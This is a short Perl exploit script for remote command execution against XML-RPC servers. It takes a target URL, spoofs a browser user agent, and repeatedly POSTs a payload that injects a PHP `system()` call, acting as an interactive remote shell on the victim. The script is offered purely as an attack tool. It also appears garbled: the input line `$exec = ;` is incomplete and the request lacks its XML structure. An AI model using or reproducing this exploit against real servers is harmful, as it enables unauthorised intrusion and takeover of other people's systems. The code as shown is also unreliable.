#!/usr/bin/perl -w # ******************************** # XML-RPC Remote Command Execution # ******************************** use LWP::UserAgent; $brws = new LWP::UserAgent; $brws->agent("Internet Explorer 8.0"); $host = $ARGV[0]; if ( !$host ) { die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver"); } while ( $host ) { print "xmlrpc\@\#"; $exec = ; $data = "foo.bar1111','')); system('$exec'); die; /*"; $send = new HTTP::Request POST => $host; $send->content($data); $gots = $brws->request($send); $show = $gots->content; if ( $show =~ /([\d]{1,10})<\/b>
(.*)/is ) { print $2 . "\n"; } else { print "$show\n"; } }